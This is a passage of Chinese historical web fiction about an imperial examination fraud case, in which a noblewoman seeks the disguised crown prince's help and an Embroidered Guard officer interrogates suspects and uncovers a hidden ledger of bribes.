容芝没心思赏景，怀着对诏狱两位少年的担忧，在外城的千家胡同下了车。 游梅一身素裙，拿出披风给容芝，“走吧，大嫂。” 容芝到这时才想起，还没告诉游梅要见的人是谁，“五妹，咱们一会要见一位名叫尔惑的先生。他是京城里很有名的画师，性子孤僻，平日不怎么见客，但我之前和他有过几面之缘，或许，能说上话。” 游梅听到“尔惑先生”，愣了下，“他？我认识他的。前几年我在寒山寺小住，他也隐居在那里，还一起喝过茶，聊过几句，彼此不算陌生。” 对此，容芝又惊又喜，“真的？那太好！你们如果认识，这次见面能更顺利。” 游梅却有些疑惑，“大嫂，你不是着急见太子吗？怎么来见一位画师？” 事到如今，侯府中能撑事、担事的人，越来越少。 容芝只能向游梅坦白，压低声音道，“实不相瞒，这位尔惑先生……正是太子殿下。” 游梅瞬间睁大双目，满脸惊讶。 只因她认识的尔惑先生，是穿着粗布、拿着画笔的画师，和东宫里的那位威严的太子，根本联系不上。 她愣了好一会，缓过神来，“大嫂……没骗我吧？” “这种事，我怎敢骗你。”容芝认真道。 至于太子为什么以尔惑画师的身份行动。 容芝其实不太明白，只好半编、半推测，“殿下为了体察民情，化名在外行走，尔惑是化名之一。咱们这次请他出面关照乘儿和姜小兄弟，希望能成功。” 游梅点点头，面上渐渐平复，“难怪尔惑有种与众不同的气度，竟是太子殿下。” 千家胡同，偏僻。 这儿不比内城的街市，店铺算是多，但客源少，也多是日常用度的小店。 这家名为“谷之”的房牙行门口，也是门可罗雀，没有一个客人。 不过，它和普通的房牙行一样，门口挂着“房屋买卖”“田地租赁”的招牌。 进门，柜台后坐着一位掌柜打扮的男子，低头算着账。 容芝上前，轻声道，“请问尔惑先生今日在吗？” 掌柜抬头，正是太子詹事府的少詹事升铭。 他认出容芝，起了身，“夫人稍等，我去通报先生。” 升铭转身进后室，没多久出来了，笑道，“先生有请。” 容芝和游梅紧步跟上。 踏入后室，只见一位男子在桌前作画，面上有银色的面具。这时他抬起头，正是容芝想见的太子炎准。 太子放下画笔，招呼二人落座，“容夫人，游姑娘，请。” 游梅没想到，会以这种方式见太子，行礼道，“臣女游梅，见过殿下。” 太子微怔，看了眼容芝，立刻心领神会，对游梅说，“此处，不必多礼，就当朋友见面吧。” 随后，他对容芝问道，“夫人今日来，想必为了诏狱里的两人？” 容芝点头，“殿下英明。这是其一，另外，锦衣卫那边打探不到太多消息，还想问问殿下，皇上对于这回揭发出来的舞弊案，是什么态度？会下令彻查吗？” 舞弊案。 太子忍不住笑了起来，“夫人放心，父皇当然会彻查！” 此番，游家的游乘和江陵举子姜归，把揭帖投到了锦衣卫。 那揭帖自然会妥帖地，送到他的父皇手里。父皇最看重的，就是朝廷的纲纪。尤其是会试这种选拔人才的大事，是不容许舞弊的。 现在，他父皇只是在等一个时机。 一旦时机成熟，父皇立即下令锦衣卫，全力查办此案。 太子顿了顿，又道，“论起来，游乘和姜归两个年轻人，倒很有勇气。面对李司和李经章，竟敢挺身而出，揭发罪行。这份胆识，实在难得啊。” 容芝把太子的话听进了心里，压了压胸口，“有殿下这话，就放心了。只是还有些担心，锦衣卫办事一向雷厉风行，有时候难免会急躁。若是误伤了乘儿和姜小兄弟……” “肯定不会。” 太子打断了她，平静道，“我亲自传话，让锦衣卫关照，尽量不让他们受苦。” 容芝等的就是这一声，她起身福礼，“谢过殿下。殿下出面，就安心了。” 事情已经约定好了，两位妇人准备告辞。 太子却出声叫住了容芝，向等在一旁的升铭，吩咐道，“把我之前画的那把团扇拿来。” 升铭很快取来了团扇，递给太子。 再由太子接过团扇，交到容芝的手上，“夫人，这把扇子你拿好了。” 容芝收起扇子，见扇面上画着一座一进的小院，院里有老树，树下放石桌、石椅，不免疑惑道，“殿下这扇子……要卖给谁？” 太子思索片刻，恳切万分，“前些日子，游乘曾带姜归来这，想给姜归找一间便宜又舒适的一进院子，当时没合适的，没帮上忙。现在我找了一间，请夫人帮忙，交涉一下买卖宅子的事。” 容芝瞬间明白了太子的意思。 按照以往的经验，太子每次通过牙行安排房屋买卖，都是为了传递重要的证据或消息。这次给姜归找院子，怕也是为了在舞弊案的查办中，给姜归提供一个传递证据的安全场所。 “殿下放心，一定办好。” 那柄团扇，当真精致。 从房牙行出来，游梅忍不住拿起容芝手中的团扇，仔细看了起来。 画扇面用的是上好的矿物，扇骨是用湘妃竹做的，扇柄还嵌着颗珍珠，做工极为精细。 游梅赞叹道，“尔惑先生的画工真是了得，这扇子无论是画还是做工，都是极品，怕是要值不少银子吧？” 容芝把团扇收过来，笑道，“太子给的扇子，不用银子衡量。它是无价之宝，关键时候，能救命。” 游梅懵懂地愣了下，想起太子的身份，又想起舞弊案的严重，大概明白了这扇子的重要。 她不再多问，只是跟着容芝坐上马车，往司宁侯府赶回去。 回家的路上，窗外美景依旧。 容芝有了点观赏的心意，对诏狱里孩子们的担忧散去了。 有太子的承诺，又有“救命”的团扇，游乘和姜归应该能安全度过这次危机。 只是她也清楚，舞弊案牵涉了李经章，他不会轻易罢休。 接下来，还会有更多的风浪，在前方等着。 容芝处理起宅子买卖，是一气呵成的。 她按照扇面上的院子，现场勘验，以姜归的名义，办好所有官方的手续。 静等太子那方的消息指示。 锦衣卫衙门，值房内。 掌事千户钱源的桌上，摆了茶水，他却一口没动。 钱源拿着两张染血的供词，在眼前反复翻动。这供词是李司府上的管家，和张质的管家招认的，墨迹未干，字里行间，只敢提“受主之命接待举子”“代收过几笔礼”……对李司如何授意、张伦如何包庇的核心情节，写得十分含糊。 这可不行。 钱源将供词拍在桌上，心里很清楚。 两个管家都跟着主家多年，把“忠心护主”刻进了骨子里。 如果自己没有实打实的证据，就算用刑，也未必能从他们嘴里撬出真话。 门外，指挥使郑显进来。 “钱源，东宫那边有消息。” 郑显手中捏着书信，带着淡淡的矿物香气，“太子殿下吩咐，不许给游乘和姜归动刑，也别让他们受委屈。” 钱源展开这封信，以为很长的一封，却只有短短一行，“游、姜二人系忠直之士，望妥为安置，勿使蒙冤。” 这信的落款处，没署名，画了个圈。 那是太子炎准私下递消息的标记，钱源和郑显都认得出来。 “游家和东宫的关系，比咱们想的还要近！” 钱源将信纸扔进一旁的火堆，直接烧成了灰。 原本，钱源就没打算对游乘和姜归动刑。 这两人，一个是司宁侯府的长孙，而且刚参加完会试，将来必是国之大才。 而另一个，是敢冒死揭发舞弊的硬骨头，也同样是江陵乡试解元，会试必高中。 钱源有十个脑袋也不敢伤他们。 得罪游家，寒天下寒门举子的心……他怎么敢做？ 如今游家更得了东宫的庇护。 京中都知道的，太子深得皇帝信任。 如此一来，倒正好给了钱源“按太子之命行事”的由头，可堵那些刁难之人的嘴。 “你心里有数就好。” 郑显走到桌旁，拿起钱源刚放下的供词，扫了几眼，“那两人，还不松口？” “忠仆！慢慢磨。” 钱源摇摇头，“我已经让人去查李司和张质最近的银钱往来，还有湖西‘中举’的举子的家世背景。只要找到他们行贿的账目，或者举子们的供词，两个老狐狸就瞒不住了。” 郑显听完案子的进展，脸色稍缓，“对了，陛下那边也有动静。” 刚才，郑显去宫里回话，掌印太监王庆祥，来问了一句舞弊案的进展。 还说，过几日皇帝就会下旨，让锦衣卫全力查办，不用顾忌其他。 “王公公真这么说？皇帝要动手了？” 钱源的眼睛亮起来，等这句话已经等了很久。 这些年，李经章权倾朝野，若没有皇帝的明确旨意，他们查办李司时，总会束手束脚，生怕触碰到李经章的势力。一旦，他们有了皇帝的支持，就能放开手脚，把这桩舞弊案查个水落石出。 “皇帝心里明镜似的，李经章权势太大，借此敲打敲打他，也好。”郑显压低声音。 反正锦衣卫需做好准备，等圣旨下来，立刻动手。 先抓李司和张质，再顺藤摸瓜，看能扯出哪些人，全部一网打尽。 “属下明白！”钱源应道。 郑显又叮嘱了几句，便离开值房。 钱源看向火堆里的那团灰，心道，东宫这次主动出面，不仅为了游乘和姜归。太子一向看不惯李经章的专权，这次舞弊案，也是打击李经章的好机会。 东宫想扳倒李司，不是一天两天。 皇帝同意查案，不过顺水推舟，借锦衣卫，安抚太子的心，进而巩固皇权。 此时，李府的书房里，压抑得喘不过气。 “任非找到了？确定是被人杀的？” 李司看向一旁的家丁，话语里透露着恐慌。 听说任非失踪，李司的心里一直记挂。 今早得到消息，说任非在外城的河里被发现了，死状凄惨。 “是锦衣卫的人发现的，说他身上的银票和玉佩不见了，像是被债主杀的。”家丁低着头，声音发颤。 “债主杀的？” 李司冷笑，这种理由，连内宅不经世事的妇人、小孩都骗不过去。 自己刚给任非五百两银子，债主拿钱就好，何必取命。 任非的死，定和舞弊案有关。 锦衣卫的人发现了任非和他的勾结，灭口罢了。 不管哪种可能，都让李司心里越来越慌。 李司派人去锦衣卫打探消息，想知道主责人钱源的调查进展，可他的人压根见不到钱源。 所以李司心里没底，不知道钱源掌握了多少证据。而他的管家被打入诏狱，会不会出卖他。 “废物！” 李司推翻了茶杯，看着地上的碎片，烦躁更甚。 他就像一个站在悬崖边的人，不知道什么时候会掉下去。 这种未知的恐惧，比直接面对死亡，更让他害怕。 书房的门被猛地推开。 另一个家丁气喘吁吁进来，“大人！司宁侯府的长媳，去了千家胡同，还在一间房牙行聊了很久。” “千家胡同，房牙行？” 李司不觉警惕起来，这个时候司宁侯府的人去千家胡同，不可能是简单的买房。 “房牙行是哪一间？掌柜的是谁？”李司抓住家丁的胳膊。 家丁回话，“谷之……他家掌柜的，叫命生。” 对这两个名字，李司感到陌生。 可司宁侯府的长媳，容芝，特意去那里，还进行了长谈，说明这牙行有鬼。 说不定，和东宫、或者锦衣卫有关。 家丁的手被李司掐疼，龇牙咧嘴，不敢挣脱，“那牙行开了好多年，专门做些高端的内城房屋买卖，掌柜命生，看着像读书人，没有特别背景。但是，有住在附近的人说，看到锦衣卫在店里出入。” “锦衣卫？” 李司顿时有个猜想，房牙行可能是锦衣卫的秘密据点。 司宁侯府的容芝去那，是为了递消息的。 但是容芝一个妇人，她怎么敢勾连锦衣卫？ 李司松开家丁，“再去查，查清楚那个掌柜命生的底细。” “是！是！”家丁连滚带爬地离开。 屋里又恢复了寂静。 李司站着，听见自己沉重的呼吸。 末日要来了吗？ 李司喃喃自语，想起自己三年前，来京城第一次见李经章，就得了李经章的盛情款待和郑重许诺。 短短三年。 他从一介书生，到状元之名。 那些送到他手里的财富和权力，让他在心虚与沉沦中，一点点迷失，一点点淹没。 他犯下大错，偏得太远，已经没有退路。 要么拼死反抗，要么等着被抓，接受应有的惩罚。 李司握紧拳头，不想就这么认输。 就算他活不成了，也要拉着游家、李家，和那些想害他的人一起。 58. 会试放榜，大案落定 诏狱泛着潮气，油灯悬在廊上，常年昏黄不清。 掌事千户钱源，也算讲良心。 他把李、张两家的管家，关入相邻的两间牢房，中间隔墙，彼此能说话、听音，但是见不到面。 钱源负手站在木栏之外，目光在二人之间来回地看。 那李司的管家跪坐在墙边，沮丧地垂头，双手交叠，放在膝上，好似有天大的委屈，掐自己掐得指尖都泛了白。 再看另一侧的张质的管家，那人的面色平静得很，一双沉沉的眼睛，死水一般不动，却似乎藏着无尽的秘密，不肯交代。 “李管家。” 钱源审案多年，有些经验，站着选了半日，决定从李司这边入手。 他让狱卒打开牢门，自己走了进去，拉把椅子坐在那管家的面前，继续说道，“你家主人，在会试期间，与张伦大人的侄子来往密切，这事，你不可能一无所知。只要你如实招来，我可以对你从轻发落，保你家人的平安。” 李管家听了这话，缓缓抬头，满脸的苦楚毕现。 但也许他还真有点信了钱源的许诺，往钱源的脚边爬了两下，“……钱大人，小人只是个管家，主人的公事哪会与小人细说？日常里，小人只负责打理府中杂事，至于大人您说的舞弊受贿，小人是真的不知道啊。” 听他口气诚恳，目光也没有闪躲，倒真像个对主人忠心耿耿、对府中隐秘一无所知的仆役。 钱源啧了声，后靠在椅背上，对他这番话，不太满意。 见状，身后的锦衣卫校尉上前，踢了李司管家一脚，让人滚回墙角去。 这校尉还扯起挂在牢门上的铁链，猛地甩向李管家，惨叫刺耳。 “敬酒不吃，吃罚酒！再不说实话，可有你好受的！”校尉喊道。 钱源稳稳坐着，见惯了各种逼供的场面，这会也算不上惨烈。 作为锦衣卫，他不可能对一个犯事儿的管家生出同情心，便从椅子上站起来，转过身，打算走出牢房缓一缓，再继续审问。 却没想到，身后墙角传来李管家的坚持，“小人说的都是实话，就算大人动刑，小人也说不出别的来。” 钱源见过骨头硬的，有些忠义受冤屈，挑筋剔肉也不怕。 但此刻，这话从李管家的嘴里讲出，钱源怎么听怎么想笑。 钱源回头，摆了摆手，示意那名校尉先退下。 随后，他亲自把李管家的牢门上锁，又走到了另一侧张管家的牢门前。 那张管家许是听见了刚才李管家挨打，还不等钱源开口，便先说道，“钱大人！小人跟随张公子多年，张公子是读书人，为人清正，绝不可能做出舞弊之事。至于李司大人，小人与他家，素无往来，更不知他与我家公子有何交集。” 撇得真干净。 钱源停下脚步，压根也不想走进去了，直接交给刚才动刑的校尉，仔细吩咐，“好好审，拿着他们的供词，一句一句地问清楚。” 校尉领了命，在架子里挑一根铁棍，放入火盆烤炙着。 李管家和张管家的牢房正对着那盆火，脸色苍白，却依旧不准招认。 如此，接连审了两个时辰。 校尉来到钱源的案前，轻声禀报，说俩不知死活的管家，居然口径一致，声称自己一无所知。还极力维护自家主人，丝毫没有松口的迹象。 钱源面前的案上，摆放着此案的所有卷宗，好大几册，里面详细记录着李司和张伦的过往、人际关系，可仅仅只有这些常规信息，加上管家们的供词，根本无法作为突破口。 “大人，依属下看，他们两家定是早就串通好了。无论怎么审，他们都不会说实话，”校尉愤愤不平。 钱源懒得听这些废话。 他要的是案子尽快有突破，来日，被宫中的掌印太监过问，才不至于无话可讲，尽量不耽误皇帝对此案推进的判断。 凉茶被他一饮而尽，茶水却没驱散他的烦躁。 钱源扔下茶杯，冷道，“未必就是串通好的。” 这二位管家，在各自府中待了多年。 若真的忠心，或许真的不知道主人的隐秘勾当。 不过依钱源的想法，除非李、张没干过收受贿赂的勾当，不然，肯定会留下痕迹。 或许是书信，或许是账本。 只要找到这些关键证据，案子的审讯就能势如破竹。 就在这时，案房的门被人推开。 一名锦衣卫跑进来，满身满头都是白灰，柳絮似的。 “大人！李管家的家中失火了！属下们发现得太晚，在附近追查的时候，看见有人在附近走动，形迹可疑，就把他直接带来了！” 钱源大为震惊，夜半审案的瞌睡都没了，一下站起来。 失火？偏偏在这时失火，太巧合了。 钱源快步向外走，“放火的人呢？带我去看看！” 诏狱大门外，男子被绑在木柱子上，脸上沾着烟灰，头发凌乱。 钱源径直上前，二人对上目光，那人定是认出来钱源，眼中闪过慌乱，随即低下了头。 难道是熟人。 钱源心疑，绕着这男子走了一圈，仔细打量着。 此人身形魁梧，被绑住的手上有老茧，看起来不像是普通的仆役。 “你是谁？为何在失火时在李管家的家附近？火是你放的？” 以为他会否认，却没料到男子梗着脖子，大声承认道，“对，是我纵的火！” 跟随钱源的校尉小声提醒钱源，“属下见过此人，他也是锦衣卫，还是任非的人！可能，他是要为任非的死讨公道？” “任非？” 钱源愣了下，对校尉冷笑一记，“那种烂赌成性的人，欠了一屁股债，最后还因为挪用公帐被查，畏罪自杀，哪一点值得旁人为他报仇？” 对于任非的死因，钱源之前请示过指挥使，对外一律不准提真相，只说任非死在赌上。不过，按任非平日的作派，对下属并不和善，还好大喜功，爱占便宜，根本不可能有人肯为他卖命。 “你这话，骗不了我！”钱源对任非的为人十分清楚。 那男子目光愣了下，脸色涨红，坚持道，“你不信，是你对任非大人有偏见……反正，任大人待我不薄！他好赌，但对兄弟义气！去年我妹妹生病，也是任大人帮忙请医的！至于我放这场火，因为我怀疑任大人的死另有隐情，是被你害的！你不仅抢走了任大人的案子，还逼死了任大人，我今日放火烧宅子，就是不想让你的案子顺当，要给任大人讨公道！” 这半真半假的论调，引来周围不少锦衣卫的瞩目。 钱源站在原地，面上有点烧，但自认没有做错。 他收拾掉任非，并非因为私怨，是任非出卖锦衣卫，找李司通风报信在先。 他为了任非的体面，才捏造了别的私人原因，以免任非的家人遭议论，承担不必要的压力。 好心没好报，讲的便是钱源了。 他也懒得和此人废话，却也明白，此人肯定是在撒谎，故意混淆视听。 但这一件事也证明，李管家的宅子里一定有李司舞弊受贿的重要线索， 书信、账本之类。不然，背后指使纵火的人，不会特意在这个时候放火，销毁证据。 要说放火是受谁的指使。 最可能的，还是李司。此人最清楚自己的罪证藏在哪里，也最急于销毁这些罪证。 钱源简单思索，对身边的校尉吩咐，“你去捏个假文书，就说这人在抓捕过程中，负隅顽抗，当场毙命。然后，你亲自去他家里报丧，再带去五十两抚恤金，务必安抚好他的家人，不要让他们起疑心。” 校尉顿时不解，“大人为什么要这么做？直接开审他，就能问出幕后指使人了。” 钱源摇摇头，“这人既然敢放火，肯定做好了必死的准备。如此一来，就算我们动刑，他也不会说实话。” 再则，此人被锦衣卫抓了，被放出去，李司那边不会不管，肯定派人灭他的口。这样不如让人死在他们自己手里，还能帮忙落得全尸，给家里人争取到一份抚恤金，也算是他为自己家人做的最后一件事。 校尉听完恍然大悟，立刻下去安排。 而后，钱源解开纵火犯，将人带到不见光的暗处，亲手解决了此人。 这种事不过顺手而已，钱源让属下处理好现场，吩咐着把人抬走，妥善办理后事。 看似平淡的锦衣卫寻常事务，但在游乘和姜归的眼睛里，是极为震惊和意外的。 游乘和姜归的牢房，在诏狱大门的最近处。 他们亲眼目睹了钱源带走纵火犯，随意处置性命的过程，惊讶得半晌合不上嘴。 游乘好歹长在京城，比姜归稍微冷静点，“以前光听人说锦衣卫的手段残暴，今日自己有了见识，再回想那日和你一起投递揭帖，真是冷汗涔涔……” 尤记得，姜归那日是初生牛犊不怕虎，一股脑地往前冲。 这时姜归也知道后怕了，只低声喃道，“这钱大人的做法，是有些残忍……” 游乘没接话，从木栏前退开，靠在墙壁边摇了摇头，“此人虽残忍，但也算是讲道理的。那个放火的人被抓到，活着出去，要被李司灭口，下场只会更惨。选择这么做，至少让他死得痛快，还给家人留下一笔钱，是仁至义尽的。” 姜归慢慢冷静，想想也是，便不再说话。 等周遭安静的时候，游乘和姜归重提此事，彼此对李司的恨意又多了几分。 可恶的李司为了掩盖罪行，不惜派人放火，在他的罪簿上，又添了一条人命。 “只是可惜了，李管家的家还是被烧。”游乘替钱源着急。 姜归不免发笑，“他这么有办法，定还有对策，别急，咱们且看下去。” 事实上，钱源让人处理好放火男子的事情后，立刻带人前去纵火现场搜查，希望能从残垣里找到点什么，让案子有些好的进展。 夜深，火把跳动。 钱源赶到李管家的家，眼前的景象令他大失所望。大火已经被扑灭，剩下一片烧焦的废墟，灰白的，烧焦的，散落在地上，空气里的焦味也让人作呕。 这烧过的火场，比钱源想象的还要干净。 除了一堆砖块、倒塌的墙壁，几乎看不见别的东西。 不甘心就此放弃，钱源还是让人仔细搜查每一个角落。 哪怕是一块碎木头、一张小纸片，都要仔细检查。 天色逐渐发白，快天亮了。 负责搜查的人来回翻找，仍然没找出任何有价值的线索。 “大人，这里什么也没了，瞧着这天，怕是还有一场大雨，等下了雨更没法搜。”有人上前报告。 另一个望着这片废墟，也沮丧道，“一场大火，把证据都烧光了！” 头顶传来闷雷，这雨说来就来。 钱源叹了口气，正要下令收队，却听身后传来一道妇人的声音，“钱大人，为何不检查一下墙体之间的砖缝？” 钱源回头，见来人是个穿丝绸衣裙的女子，容貌称得上端庄，气质也称得上温婉，只是此女看起来不像普通人家的。 钱源皱了皱眉，对那妇人道，“此处是案发现场，锦衣卫正在查案，还请夫人速速离开，不要打扰公务。” 那女子非但没有生气，还平静地回道，“妇人见过锦衣卫千户钱大人，刚才只是随口一提，望大人恕妇人多言。” 听她客客气气的，钱源没与她计较，继续往火场外撤了几步。 那妇人却又开了口，“瞧着这墙体的结构，有些特别呢！或许砖缝里会藏着一些东西，没有被大火烧到。” 此言听来是有道理的。 钱源不由再次转身，看向这位与自己搭话的贵妇，还是觉得她不眼熟。 这时，旁边的一名锦衣卫小声提醒，“大人，这位是司宁侯府的长媳，容芝夫人，也就是……游乘公子的母亲。” 钱源愣了下，不禁站直了身子。 之前，他有听说过司宁侯府的长媳容芝，传言中的容芝，容貌出众，聪慧过人，在京中的贵妇圈颇有名气。 何况自从游家的公子游乘被带入诏狱后，太子还亲笔授意，要他好好关照游家的人。 想到这里，钱源的手已经自动抱拳，给容芝行礼道，“原来是司宁侯府的大夫人，方才是本官失礼了。” 容芝笑了笑，“没事，您着急办案嘛，理解理解！” 钱源闻言眼眸也弯起来，叹息道，“夫人有所不知，这火场已经被烧得这么干净，砖缝里怕也不会有东西留下。” 容芝含着笑，走到一处墙角前，指着块烧断的砖，“钱大人您看，这砖的颜色和其他的不一样，而且边角有明显的撬动痕迹，想必是后来被人砌上去的。” 钱源立刻上前来，虽半信半疑，还是让人拆下那半块砖，重新查验，看看是否有意外发现。 邻近的校尉捏住那砖，猛地一扯，将它整个从墙体上抓下来，随即，就从砖缝里掉出一本被烧得半焦的账本。 账本的封面已经被烧黑了，边缘也有些破损，里面的纸张有一部分是完好的。 钱源赶紧捡起账本，慢慢地翻开。 虽说部分字迹已被烧了，看不清了，但大部分的名字和金额都能辨认出来。 这账本上记录着李司在近三年来，收受各种贿赂的明细。 其中有不少是各地举子的名字，以及他们行贿的金额。 当然也包括案子的重嫌犯李司与张质之间的金钱往来。 重大发现！ 钱源收好了证物，对出面指点的容芝增添了好奇。 他打量着容芝，不敢多看，只笑着问道，“大夫人怎么知道这砖缝里藏着东西？” 容芝淡笑，解释说，之前帮房牙行打理过房屋买卖，看过不少房屋的结构。 有些人为了藏东西，会特意在墙体里做一些暗格，或者把东西藏在砖缝里。 这种奇怪的墙体设计，她见了很多，自然就有经验了。 至于今天为何出现在附近，是她正好在打点一户人家的宅子，路过此处，看到锦衣卫查案，就想帮上一帮。 也是想着为自己游家的孩子游乘，以及姜归小兄弟帮忙了。 “一句多嘴，希望没有妨碍到钱大人，”容芝最后福了一礼。 钱源缓缓点头，心里仍然有点怀疑容芝的身份，以及她今天来此的目的。 这李司管家的家不在内城，较为偏僻，几乎快到千家胡同了。容芝是深宅夫人，天气不好，却出现在偏远的地段，说是帮人打点房屋，也透着不少的反常。 大约自己脸上的疑虑过深，容芝又对他多解释了几句。 她说，今天来这里，正是帮府上借住的江陵举子姜归兄弟，张罗一间一进的小院，就在这条街。她刚才路过见有宅子失了火，过来一看，没想到遇见了钱源大人。 “请大人相信，绝非故意在此等候大人。” 有些事越描越黑。 钱源暂时不太相信容芝的说法，但这妇人，是太子想护着的游家人，还在刚才帮他找到了关键证据。 他也不好再多怀疑，只等着容芝上马车离开后，立刻对身边的一名心腹锦衣卫吩咐，跟踪容芝，看看她接下来去哪里，和什么人见面，“务必把她的行踪记录下来，回来向我汇报。” 心腹锦衣卫也有些不解，“大人，您不是相信她了吗？怎么还要跟踪她？” 钱源飞速思索，扯了一慌，“我不是怀疑她的动机。她帮我们找到了账本，对案子有功嘛。我只是有点好奇，她这个游家人，和太子殿下的私人关系到底怎样。太子殿下特意让我们关照游家，肯定不简单。你只管去跟踪，不要被她发现了。” “哦，原来您是这么个好奇啊！”心腹锦衣卫彻底误会了钱源的意思，领命而去。 钱源没有辩解，只对着那人离开的方向，摇了摇头。 遭遇了李管家屋子被烧，钱源还得加派人手，去盯防张管家的屋子，以免那个家里也出现意外，导致证据被销毁。 安排好这些，钱源带着找到的账本回了诏狱。 账本在手，底气大增，他打算立刻提审李管家，看看这账本能不能让李管家开口。 李管家的牢房前，钱源见那管家坐在墙边，呆滞地盯着地面，拳头松松地握着，应是在为家里失火的事担忧。 重新誊写过的新账本，被扔去了李管家面前，砸在地上，“啪”的一声。 李管家吓了一跳，抬头，一看到账本脸色瞬间惨白，恐惧地攥紧拳头。 “不如，你自己看看这是什么？” 钱源双手环抱，也不怕他毁了副本，“这是我按照从你家墙缝里找到的，找人抄写的，记录着你家主人李司这些年收受贿赂的明细，还有他和张质勾结的证据。现在，你还有什么话好说？” 李管家的双拳颤抖，嘴唇动了动，却一句话也说不出来。 先前他还抱着一丝侥幸，以为大火已经把所有的证据都烧光了，只要自己这边咬死不说，钱源就没有办法定李司的罪。可他万万没有想到，钱源竟然从墙缝里找到了账本。 钱源见李管家神色慌乱，知道他的心理防线已经开始崩溃，便继续施压，“李管家，你跟随李司多年，想必也知道李司的为人。他为了自己的前程，连舞弊受贿这种事情都做得出来，一旦事情败露，他肯定会把所有的责任都推到你的身上。现在，你若是如实招来，或许还有机会从轻发落，换家人平安。可如果你还执迷不悟，继续包庇李司，那等待你的，只有死路一条！” 李管家的眼泪滑落，他捂着脸，哽咽着哭起来，“大人，我……我也是没办法啊！事发之后，主人找到我，说只要我守口如瓶，他就会保我家人，会给我家人一大笔钱，让他们下半辈子衣食无忧。我家里，有老有小，我实在不敢违抗主人的命令啊！” 终于等来此人的松口。 钱源心喜，忙劝解他，“现在说出来，还来得及。把你知道的事情，全部告诉我，不要有任何隐瞒。” 李管家擦了擦眼泪，定住了神。 钱源还让人端了碗温水进去，让他喝下，坐着慢慢道来。 要交代的事情太多。 先从李司三年前从湖西来京参加会试，讲起。 当时李司虽然才华出众，但心里还是没底，就想找个靠山。 通过同乡举人的介绍，李司结识了李经章，但初步推断，李经章不是容易亲近的人，他只能另外找到了翰林院大学士，张伦。 张伦当时是会试的主考官之一，李司为了能高中，就给张伦送了很多珠宝字画，还帮张伦引荐了不少其他各地的举子，那些举子也都给张伦送了钱，换取到了进士名额。 李司凭借着张伦的帮忙，不仅自己高中状元，还因为引荐举子有功，得到了张伦的赏识，从而，在李经章的面前，也能稍微抬起头。 之后，在李经章和张伦的双重护航之下，李司在朝中的仕途一帆风顺，尝到了不小的甜头。 于是李司又在今年的会试期间，陆续引荐了数十名各地举子，向张伦行贿。不出意外的话，那些举子也都能顺利地考中进士。 其实，那些举子本来也是有才华的，靠自身实力，未必不能高中，但他们和李司一样，想买个保证，所以就都选择了成为李司的同伙，用银子开路。 听到这里，钱源心里疑惑很多，“李司为什么这么做？他已经高中状元，仕途也很顺利，为什么还要冒着这么大的风险，引荐别人行贿？” 李管家叹气，说道，“回大人，李司是都察院二把手，虽然表面上风光，但其实日子并不好过。” 原来，李司在京城好几年了，还没钱买属于自己的宅子。 对这件事，李司自己说过，像他这种级别的官员，在京城中的宅子规格，都是有不成文约定的，如果买小的，是要被别人鄙视的。所以，李司一直想筹钱买一座四进的院子，至少，要搞到一万两银子。 此外，李司年轻气盛，喜欢去烟花巷子，每次去都要花很多钱，这笔花销也相当可观。李司的俸禄不算很低，但根本不够他花的，所以他就想到了利用会试舞弊来赚钱，想把之前给张伦大人送出去的钱赚回来，还要额外再大赚一笔。 钱源听明白了，却仍有疑问，“他需要钱买四进的宅子，我且不论他那种什么官品对应宅子大小的说法有没有根据……但是他为什么不能靠自己的劳动赚钱呢？比如让他家夫人学学经商，像工部尚书秦舒大人家的九姑娘一样，小小年纪，自己开书局挣钱，帮家里解决困难，也是一条正当的路嘛。” 而说到经商赚钱，李管家的叹声更响。 李司的夫人柳氏，身体不好，操劳不得，但李司在决定下水捞钱之前，的确考虑过经商这条路。 “不过，他所想的，不是自己经商，是另娶一位会赚钱的女子来家里，他只需坐享其成就好。不瞒大人，工部尚书秦舒家的九姑娘秦徐，曾经就是李司挑中的人。还舔着脸皮纠缠过一阵，后来被游家的长孙游乘，出面阻止了。” 没想到还有这一段秘辛。 钱源听得入神，对李管家冷笑道，“李司还干着这种龌龊事？真是妄为状元郎！” 李管家却还有话想说，脸上露出尴尬，“您也被他的外表骗了吧？没错，李司之前看中了秦徐姑娘。她不仅漂亮，也很有才华，但最吸引李司的地方，是她在外城的千家胡同边上开了那一间书局，生意很好，赚钱能力强。要不是秦徐姑娘不待见李司，还和司宁侯府游家的长孙游乘定亲，此事，定是要被李司强扭的！” 在秦徐那件事上，李司被游乘三番两次地警告，希望李司不要骚扰秦姑娘，不然就对李司不客气。 管家听说，当时游乘罗列了李司在烟花巷招惹的女子，以及欠债明细，李司怕被曝光出去，影响自己的仕途考核，也知道游乘公子的厉害，知道司宁侯府的势力，只能罢手。 从那以后，李司心里就一直憋着一股气，也更坚定了要利用会试赚钱的想法。 他以为，只要有了钱和势，就能让所有人都不敢看不起他，也能得到自己想要的任何东西。 此人的贪婪和卑劣，经过李管家的讲述，在钱源心中有了更清晰的认识。 钱源又追问了一些关于李司和张质勾结的细节，比如见面方式、地点之类，管家都一一招供了。 根据李管家的供述，翰林院大学士张伦，之所以能连续两次会试都被任命为主考官，其中是有内阁首辅李经章的推举之功的。 而皇帝之所以没有否决，现在看来，是皇帝故意放了长线，打算瓮中捉鳖，把这些科场舞弊的官员一网打尽。 都不是善良的人，都各有心思。 钱源审问结束，脑袋涨疼，赶紧让人把李管家关押好，随后，趁着没忘，整理了审问记录。 看着账本原本和完整清晰的审问记录，钱源终于敢松一口气。 案子有了重大进展，接下来，就是要尽快获得上面的命令，尽快将涉案的李司、张伦等人抓捕，彻底查清这起科场舞弊案的台前幕后。 钱源趁夜离开诏狱，本打算去找锦衣卫指挥使郑显，汇报情况，顺便商量下一步的计划。可当他来到郑显的府邸，发现府门前停了一架挂红绸的女用马车。 难道有喜事？ 钱源上前询问才知道，原来郑显的妻子要生孩子，产婆此时正在府中陪着妻子。 不好进去打扰，钱源只能在府门外等候。 过了大约一个时辰，一名仆人匆匆跑出来，向等候的钱源报喜，说郑家夫人生了个儿子。钱源顿时一摸钱袋子，完蛋，没有银子也没有银票。 到银号取了二十两，钱源重新回到郑显的府上，向郑显道喜，他当场拿出银票，给郑显作为贺礼。 郑显接了银票，忙向钱源拱手回礼，也在这时，府中突然传来一阵大哭。 正疑惑着，一个丫鬟慌慌张张跑来，抹着眼泪对郑显说，：“夫人她……她忽然血崩，看着已经撑不过来了！” 郑显登时折返冲进了内院。 钱源依旧不敢跟上去，只安静地等在正堂，心中期盼事情好转，郑夫人可以熬过这一劫。 但世事难料。 